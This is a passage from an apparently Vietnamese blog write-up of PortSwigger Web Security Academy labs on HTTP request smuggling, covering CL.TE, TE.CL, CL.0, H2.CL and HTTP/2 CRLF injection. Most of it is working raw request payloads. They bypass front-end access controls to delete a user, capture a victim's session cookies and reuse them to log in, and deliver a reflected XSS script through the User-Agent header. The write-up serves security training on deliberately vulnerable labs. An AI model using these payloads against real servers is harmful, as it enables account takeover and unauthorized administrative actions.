class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><img width="721" alt="image" src="https://github.com/user-attachments/assets/f3cd69e8-713c-4b84-a7cb-fdeee3aed683"><h3 id="HTTP-request-smuggling-confirming-a-CL-TE-vulnerability-via-differential-responses"><a href="#HTTP-request-smuggling-confirming-a-CL-TE-vulnerability-via-differential-responses" class="headerlink" title="HTTP request smuggling, confirming a CL.TE vulnerability via differential responses"></a>HTTP request smuggling, confirming a CL.TE vulnerability via differential responses</h3><p>Bài này front-end chỉ xử lý <code>Content-Length</code> –&gt; CL.TE (chưa chắc nma theo đề thì z).<br>Yêu cầu là đính chính lại nó dính lỗi CL.TE bằng cách để yêu cầu thứ 2 là một yêu cầu trả về lỗi <code>404 not found</code>.</p><p>Ở phần thứ 2 của request, ta có 2 cách để tạo một request hợp lệ:</p><ul><li>Gửi một POST request, khi đó nếu có request khác gửi đến thì nó sẽ gắn vào phần body –&gt; không bị lỗi 400<figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">0</span>a72005104370d94c026137d00880058.web-security-academy.net</span><br><span class="line">Connection: close</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line">Content-Length: <span class="number">96</span></span><br><span class="line"></span><br><span class="line"><span class="number">0</span></span><br><span class="line"></span><br><span class="line">POST /aaa HTTP/<span class="number">1.1</span></span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: <span class="number">15</span></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li>Cách 2 là sử dụng <code>X-Ignore: abc</code>, khi này phần sau request sẽ được gắn vào trường X-Ignore header và không gây ra lỗi 400.<figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: YOUR-LAB-ID.web-security-academy.net</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: <span class="number">35</span></span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line"><span class="number">0</span></span><br><span class="line"></span><br><span class="line">GET /<span class="number">404</span> HTTP/<span class="number">1.1</span></span><br><span class="line">X-Ignore: X</span><br></pre></td></tr></table></figure></li></ul><p>Gửi request với payload trên, sau đó gửi một request bất kỳ để solve lab.</p><img width="720" alt="image" src="https://github.com/user-attachments/assets/54151a7d-ccab-416b-b7c3-90e079f1d926"><img width="715" alt="image" src="https://github.com/user-attachments/assets/f45992eb-d270-4d4d-bf86-f01419fe63d2"><h3 id="HTTP-request-smuggling-confirming-a-TE-CL-vulnerability-via-differential-responses"><a href="#HTTP-request-smuggling-confirming-a-TE-CL-vulnerability-via-differential-responses" class="headerlink" title="HTTP request smuggling, confirming a TE.CL vulnerability via differential responses"></a>HTTP request smuggling, confirming a TE.CL vulnerability via differential responses</h3><ul><li>Back-end server doesn’t support chunked encoding</li><li>Triggering 404 Not Found response</li></ul><p>Gửi 2 lần request sau:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/1.1</span><br><span class="line">Host: 0ab5007903cff13dc0551c8b0038003d.web-security-academy.net</span><br><span class="line">Connection: Pipelining</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line">Content-Length: 4</span><br><span class="line"></span><br><span class="line">5F</span><br><span class="line">POST /aaa HTTP/1.1</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 10</span><br><span class="line"></span><br><span class="line">aaaa</span><br><span class="line">0</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="Exploiting-HTTP-request-smuggling-to-bypass-front-end-security-controls-CL-TE-vulnerability"><a href="#Exploiting-HTTP-request-smuggling-to-bypass-front-end-security-controls-CL-TE-vulnerability" class="headerlink" title="Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability"></a>Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability</h3><p>Gửi 2 lần request sau:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">0</span>a33008a039b2e88c01e9186008400ec.web-security-academy.net</span><br><span class="line">Connection: Pipelining</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line">Content-Length: <span class="number">107</span></span><br><span class="line"></span><br><span class="line"><span class="number">0</span></span><br><span class="line"></span><br><span class="line">POST /admin HTTP/<span class="number">1.1</span></span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: <span class="number">100</span></span><br><span class="line"></span><br><span class="line">aaaa</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Kết quả trả về là <code>Admin interface only available to local users</code>, vậy là chúng ta cần truy cập đến admin page với host là localhost. Vì hiện tại server sẽ mặc định set cho ta host là <code>0a33008a039b2e88c01e9186008400ec.web-security-academy.net</code></p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">0</span>a33008a039b2e88c01e9186008400ec.web-security-academy.net</span><br><span class="line">Connection: Pipelining</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line">Content-Length: <span class="number">124</span></span><br><span class="line"></span><br><span class="line"><span class="number">0</span></span><br><span class="line"></span><br><span class="line">POST /admin HTTP/<span class="number">1.1</span></span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Host: localhost</span><br><span class="line">Content-Length: <span class="number">100</span></span><br><span class="line"></span><br><span class="line">aaaa</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Payload cuối cùng:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">0</span>a33008a039b2e88c01e9186008400ec.web-security-academy.net</span><br><span class="line">Connection: Pipelining</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line">Content-Length: <span class="number">124</span></span><br><span class="line"></span><br><span class="line"><span class="number">0</span></span><br><span class="line"></span><br><span class="line">POST /admin/delete?username=carlos HTTP/<span class="number">1.1</span></span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Host: localhost</span><br><span class="line">Content-Length: <span class="number">100</span></span><br><span class="line"></span><br><span class="line">aaaa</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="Exploiting-HTTP-request-smuggling-to-bypass-front-end-security-controls-TE-CL-vulnerability"><a href="#Exploiting-HTTP-request-smuggling-to-bypass-front-end-security-controls-TE-CL-vulnerability" class="headerlink" title="Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability"></a>Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability</h3><img width="610" alt="image" src="https://github.com/user-attachments/assets/dfd0c00a-938d-422b-98c7-355b07c9c30f"><p>back-end server doesn’t support chunked encoding nên chúng ta có thể nghĩ đến TE.CL</p><p>Gửi 2 lần request sau:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/1.1</span><br><span class="line">Host: 0ad9007b0481dacfc155c02800b5002d.web-security-academy.net</span><br><span class="line">Connection: Keep-Alive</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line">Content-Length: 4</span><br><span class="line"></span><br><span class="line">62</span><br><span class="line">POST /admin HTTP/1.1</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 100</span><br><span class="line"></span><br><span class="line">aaaa</span><br><span class="line">0</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><img width="826" alt="image" src="https://github.com/user-attachments/assets/56c2c5eb-e2b5-4796-b002-37ee3eb56282"><p>Phản hồi thứ 2 trả về <code>Admin interface only available to local users</code>, để bypass ta có thể thử thêm trường <code>Host: localhost</code></p><p>Gửi 2 lần request sau để solve lab này.</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">0</span>a4800ce048b085f8658a298003e0031.web-security-academy.net</span><br><span class="line">Connection: Keep-Alive</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line">Content-Length: <span class="number">4</span></span><br><span class="line"></span><br><span class="line"><span class="number">8</span>A</span><br><span class="line">POST /admin/delete?username=carlos HTTP/<span class="number">1.1</span></span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Host: localhost</span><br><span class="line">Content-Length: <span class="number">100</span></span><br><span class="line"></span><br><span class="line">aaaa</span><br><span class="line"><span class="number">0</span></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><img width="831" alt="image" src="https://github.com/user-attachments/assets/ac27a873-8a50-43d9-9365-5ddf3c5cb346"><img width="825" alt="image" src="https://github.com/user-attachments/assets/2f8503da-dd9c-464a-b020-6d6a33ec1ba7"><img width="916" alt="image" src="https://github.com/user-attachments/assets/862be7fb-42b2-41a8-ba53-7b698a742c30"><h3 id="Exploiting-HTTP-request-smuggling-to-reveal-front-end-request-rewriting"><a href="#Exploiting-HTTP-request-smuggling-to-reveal-front-end-request-rewriting" class="headerlink" title="Exploiting HTTP request smuggling to reveal front-end request rewriting"></a>Exploiting HTTP request smuggling to reveal front-end request rewriting</h3><p>Front-end server doesn’t support chunked encoding –&gt; ý tưởng là CL.TE</p><ul><li>Bài này tác giả bảo là có trường set IP cho client tương tự như <code>X-Forwarded-For</code> nên mình đã nghĩ đến <code>X-Real-IP</code> tuy nhiên gửi mãi không thấy kết quả gì. Hóa ra ý tác giả muốn bảo ở đây là thằng <code>X-*-IP</code> phần trong dấu * có thể tùy ý nên chúng ta cần tìm phần này. Để tìm được điều này chúng ta cần lợi dụng trường search.</li></ul><p>Gửi 2 lần yêu cầu sau:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">0</span>abe003e032e7439c04debfe00e5002f.web-security-academy.net</span><br><span class="line">Connection: Keep-Alive</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line">Content-Length: <span class="number">150</span></span><br><span class="line"></span><br><span class="line"><span class="number">0</span></span><br><span class="line"></span><br><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: <span class="number">100</span></span><br><span class="line">X-Real-IP: <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line">Connection: close</span><br><span class="line"></span><br><span class="line">search=test</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Phần yêu cầu sau sẽ được gắn vào sau thằng test và mình có thể thấy được nhờ trường search. Kết quả trả về như sau:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0 search results for &#x27;test GET / HTTP/1.1 X-wvIzjI-Ip: 113.161.69.230 Host: 0abe003e032e7439c04debfe00e5002f.w&#x27;</span><br></pre></td></tr></table></figure><p>X-*-Ip mỗi người mỗi khác nên các bạn phải tự tìm lấy nhé.</p><p>Sau khi biết được cái này rồi thì rất đơn giản, chúng ta chỉ cần set IP là 127.0.0.1 để truy cập vào admin panel.</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">0</span>abe003e032e7439c04debfe00e5002f.web-security-academy.net</span><br><span class="line">Connection: Keep-Alive</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line">Content-Length: <span class="number">167</span></span><br><span class="line"></span><br><span class="line"><span class="number">0</span></span><br><span class="line"></span><br><span class="line">POST /admin/delete?username=carlos HTTP/<span class="number">1.1</span></span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: <span class="number">100</span></span><br><span class="line">X-wvIzjI-Ip: <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line">Connection: close</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="Exploiting-HTTP-request-smuggling-to-capture-other-user’s-requests"><a href="#Exploiting-HTTP-request-smuggling-to-capture-other-user’s-requests" class="headerlink" title="Exploiting HTTP request smuggling to capture other user’s requests"></a>Exploiting HTTP request smuggling to capture other user’s requests</h4><ul><li>Lab này là dạng CL.TE</li><li>Tác giả có lập trình sẵn là khi chúng ta gửi một request thì máy chủ sẽ tự động gửi 1 resquest. Request này sẽ đóng vai trò như nạn nhân để chúng ta lấy cắp cookie và đăng nhập vào tài khoản này.</li><li>Ở đây để lấy cắp cookie chúng ta sẽ ghi request của nạn nhân vào form comment.</li></ul><p>Request như sau:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/1.1</span><br><span class="line">Host: 0ad0007403ec1053c2015e9900e300b9.web-security-academy.net</span><br><span class="line">Connection: Keep-Alive</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line">Content-Length: 335</span><br><span class="line"></span><br><span class="line">0</span><br><span class="line"></span><br><span class="line">POST /post/comment HTTP/1.1</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 804</span><br><span class="line">Connection: close</span><br><span class="line">Cookie: session=bZxircTfhYYqDgnrRYKm0ZjKa9oBG0Ro; session=DZgoQAy5RcbsrSl2ZqZy8sBOvzS9wv68</span><br><span class="line"></span><br><span class="line">csrf=KEAZJ4zHTUNek88CIDaZ0bTgQTE6hLbf&amp;postId=8&amp;name=aaaaa&amp;email=abcd@gmail.com&amp;website=http://aaa.com&amp;comment=aaaa</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Kết quả ở comment của trang <code>https://0ad0007403ec1053c2015e9900e300b9.web-security-academy.net/post?postId=8</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aaaa GET / HTTP/1.1 Host: 0ad0007403ec1053c2015e9900e300b9.web-security-academy.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.121 Safari/537.36 Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US Cookie: victim-fingerprint=QVLNvEkz9U7FdHW1wG2VdkdjIlDHF2kw; secret=C8IQNP3JH0lVCJBAOGIAkgEOTM5UoNVp; session=A78w3rNuBBu22CGzS1IoyuLB821Yeeof</span><br></pre></td></tr></table></figure><p>Có được cookie rồi chúng ta sẽ sử dụng nó để đăng nhập:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">POST /login HTTP/1.1</span><br><span class="line">Host: 0ad0007403ec1053c2015e9900e300b9.web-security-academy.net</span><br><span class="line">Cookie: ictim-fingerprint=QVLNvEkz9U7FdHW1wG2VdkdjIlDHF2kw; secret=C8IQNP3JH0lVCJBAOGIAkgEOTM5UoNVp; session=A78w3rNuBBu22CGzS1IoyuLB821Yeeof</span><br><span class="line">Content-Length: 72</span><br><span class="line">Cache-Control: max-age=0</span><br><span class="line">Sec-Ch-Ua: &quot;Chromium&quot;;v=&quot;95&quot;, &quot;;Not A Brand&quot;;v=&quot;99&quot;</span><br><span class="line">Sec-Ch-Ua-Mobile: ?0</span><br><span class="line">Sec-Ch-Ua-Platform: &quot;Windows&quot;</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">Origin: https://0ad0007403ec1053c2015e9900e300b9.web-security-academy.net</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span><br><span class="line">Sec-Fetch-Site: same-origin</span><br><span class="line">Sec-Fetch-Mode: navigate</span><br><span class="line">Sec-Fetch-User: ?1</span><br><span class="line">Sec-Fetch-Dest: document</span><br><span class="line">Referer: https://0ad0007403ec1053c2015e9900e300b9.web-security-academy.net/login</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Accept-Language: en-US,en;q=0.9</span><br><span class="line">Connection: close</span><br><span class="line"></span><br><span class="line">csrf=KEAZJ4zHTUNek88CIDaZ0bTgQTE6hLbf&amp;username=admin&amp;password=%C3%A1dhfj</span><br></pre></td></tr></table></figure><h4 id="Exploiting-HTTP-request-smuggling-to-deliver-reflected-XSS"><a href="#Exploiting-HTTP-request-smuggling-to-deliver-reflected-XSS" class="headerlink" title="Exploiting HTTP request smuggling to deliver reflected XSS"></a>Exploiting HTTP request smuggling to deliver reflected XSS</h4><p>Đầu tiên zô trang &#x2F;post?postId&#x3D;7 để tìm cách trigger xss thông qua trường User-Agent. </p><img width="864" alt="image" src="https://github.com/user-attachments/assets/b48323e9-bc7e-413d-9de6-21dc4401c3bf"><p>Payload xss: <code>User-Agent: aaa&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;</code></p><p>Sau đó gửi request này để nạn nhân truy cập vào trang web sẽ bị trigger xss: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/1.1</span><br><span class="line">Host: 0a91008204610813c02904da008000b8.web-security-academy.net</span><br><span class="line">Connection: Keep-Alive</span><br><span class="line">Content-Length: 158</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line">0</span><br><span class="line"></span><br><span class="line">GET /post?postId=7 HTTP/1.1</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 200</span><br><span class="line">User-Agent: aaa&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;</span><br><span class="line"></span><br><span class="line">aaaa</span><br></pre></td></tr></table></figure><h3 id="CL-0-request-smuggling"><a href="#CL-0-request-smuggling" class="headerlink" title="CL.0 request smuggling"></a>CL.0 request smuggling</h3><img width="721" alt="image" src="https://github.com/user-attachments/assets/0d9f5755-9c1b-4926-b229-ea28c1e566a7"><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">POST /resources/images/blog.svg HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">0</span>a3900610359a76482be1174009f008e.web-security-academy.net</span><br><span class="line">Cookie: session=sIt0cbIhl02c97aPZzm1sZ49X7QOwWeP</span><br><span class="line">Connection: keep-alive</span><br><span class="line">Content-Length: <span class="number">50</span></span><br><span class="line"></span><br><span class="line">GET /admin/delete?username=carlos HTTP/<span class="number">1.1</span></span><br><span class="line">x: abc</span><br></pre></td></tr></table></figure><img width="901" alt="image" src="https://github.com/user-attachments/assets/fcdfd1b1-8579-4573-9d1a-c37a36080606"><h3 id="H2-CL"><a href="#H2-CL" class="headerlink" title="H2.CL"></a>H2.CL</h3><p>Test H2.CL, ta trigger được HRS với payload sau (Nhớ uncheck update content length):</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">2</span></span><br><span class="line">Host: <span class="number">0</span>a1800ed04ab0887879e2eb3009a0029.web-security-academy.net</span><br><span class="line">Content-Length: <span class="number">4</span></span><br><span class="line"></span><br><span class="line">aaaaGET /abc HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">0</span>a1800ed04ab0887879e2eb3009a0029.web-security-academy.net</span><br><span class="line">Foo: Bar</span><br></pre></td></tr></table></figure><img width="720" alt="image" src="https://github.com/user-attachments/assets/3268c27d-ef34-4f66-b0db-48a00f575cbf"><p>Khi request tới resource, ta thấy nó được chuyển hướng đến location như sau: </p><img width="830" alt="image" src="https://github.com/user-attachments/assets/7045a325-56ef-46f2-b5ac-74b36fa3a2bd"><p>Thử sử dụng Host header để thay đổi location:</p><img width="829" alt="image" src="https://github.com/user-attachments/assets/4e30ec1f-722b-488e-95bb-e05b3c7ad978"><img width="743" alt="image" src="https://github.com/user-attachments/assets/1b662aed-1f17-4bdb-9cd7-36240220a0e4"><p>Trong mã html, ta thấy nó có những thẻ script nhập mã js từ bên ngoài, vậy nếu ta giả mạo yêu cầu đúng lúc browser nhập mã js về thì ta có thể để browser nhập mã js chứa payload xss.</p><img width="657" alt="image" src="https://github.com/user-attachments/assets/99ce3054-fe59-4db6-a2c7-8957cbb77133"><img width="939" alt="image" src="https://github.com/user-attachments/assets/d8013a97-ab04-49f0-a74f-9f242e72df4f"><p>Gửi một vài lần để bot truy cập và thời điểm browser của bot import mã js thì nó nhập mã js của ta.</p><img width="829" alt="image" src="https://github.com/user-attachments/assets/121a9b1e-76c0-4697-b635-e9554e9313b2"><img width="943" alt="image" src="https://github.com/user-attachments/assets/68aca119-2d5c-4add-af3d-16dbad8614aa"><h3 id="HTTP-x2F-2-request-smuggling-via-CRLF-injection"><a href="#HTTP-x2F-2-request-smuggling-via-CRLF-injection" class="headerlink" title="HTTP&#x2F;2 request smuggling via CRLF injection"></a>HTTP&#x2F;2 request smuggling via CRLF injection</h3><p>Thêm header foo: bar rồi chèn thêm CRLF và TE, trong body thêm giá trị tùy ý ta trigger được 404 not found<br><img width="944" alt="image" src="https://github.com/user-attachments/assets/d5806562-3b50-43e6-a454-61b8b5a23e81"></p><img width="946" alt="image" src="https://github.com/user-attachments/assets/f87b5f11-54ec-4f4e-8d5e-0c30070e43c0"><p>Ở trong trang search, ta thấy nó lưu lại lịch sử search của người dùng.</p><img width="836" alt="image" src="https://github.com/user-attachments/assets/194eb80f-9446-4467-a20e-c6b9c4ee89b1"><img width="732" alt="image" src="https://github.com/user-attachments/assets/2fde5416-6cdb-4ebd-985c-bd2d5f53f218"><p>Lợi dụng tính năng này để đánh cắp cookie của người dùng:<br><img width="721" alt="image" src="https://github.com/user-attachments/assets/cc00e9b1-5bcb-4958-bee0-efb4ce3fcf24"></p><img width="877" alt="image" src="https://github.com/user-attachments/assets/44a30aff-efb7-4fdf-9761-d1fe55c0b6b4"><p>Gửi và đợi tầm 10s để bot truy cập:</p><img width="887" alt="image" src="https://github.com/user-attachments/assets/2fdc17a0-0ac3-478d-8308-fd8958a4545c"><img width="723" alt="image" src="https://github.com/user-attachments/assets/25d74cf3-e850-4ab6-8eec-5e965a52a6c9"><h3 id="HTTP-x2F-2-request-splitting-via-CRLF-injection"><a href="#HTTP-x2F-2-request-splitting-via-CRLF-injection" class="headerlink" title="HTTP&#x2F;2 request splitting via CRLF injection"></a>HTTP&#x2F;2 request splitting via CRLF injection</h3><p>Gửi request này 2 lần, ta trigger được 404 not found:<br><img width="945" alt="image" src="https://github.com/user-attachments/assets/0d025242-c860-4c8b-a351-8a1cb1456526"></p><p>Chỉ với CRLF, ta có thể cắt request thành nhiều request khác nhau. Vậy bây giờ ta chỉ cần áp dụng kĩ thuật Response queue poisoning:</p><p><img src="https://github.com/user-attachments/assets/2df0b006-cf93-4e6e-b5de-39e583c7dffd" alt="image"></p><ul><li>Ta sẽ queue request smuggle (request 2), sau khi người dùng request 3, server sẽ thực hiện và trả về response của request 2 cho phía nạn nhân và queue lại request 3.</li><li>Bây giờ ta chỉ cần gửi request 4 thì ta sẽ nhận được response từ request 3 của người dùng.</li></ul><p>Sau một hồi không queue được, mình thử fix lại payload để server tự thêm <code>\r\n</code> thì mình đã bắt được request của admin:</p><img width="944" alt="image" src="https://github.com/user-attachments/assets/0a40f3bf-e98f-4415-81b9-c0d1c1dad83b"><p>Truy cập admin panel và delete user carlos:</p><img width="832" alt="image" src="https://github.com/user-attachments/assets/fcca0550-aded-48a3-93c2-1ad136eca936"><img width="833" alt="image" src="https://github.com/user-attachments/assets/1e21c7e5-3dc3-4122-9bb0-d593242a30af"><h3 id="Response-queue-poisoning-via-H2-TE-request-smuggling"><a href="#Response-queue-poisoning-via-H2-TE-request-smuggling" class="headerlink" title="Response queue poisoning via H2.TE request smuggling"></a>Response queue poisoning via H2.TE request smuggling</h3><blockquote><p>Front-end server doesn’t support chunked encoding. The front-end server is configured to cache certain responses.</p></blockquote><p>Vậy ta sẽ sử dụng kĩ thuật CL-TE ở đây, kết hợp với cache poisoning.</p><img width="734" 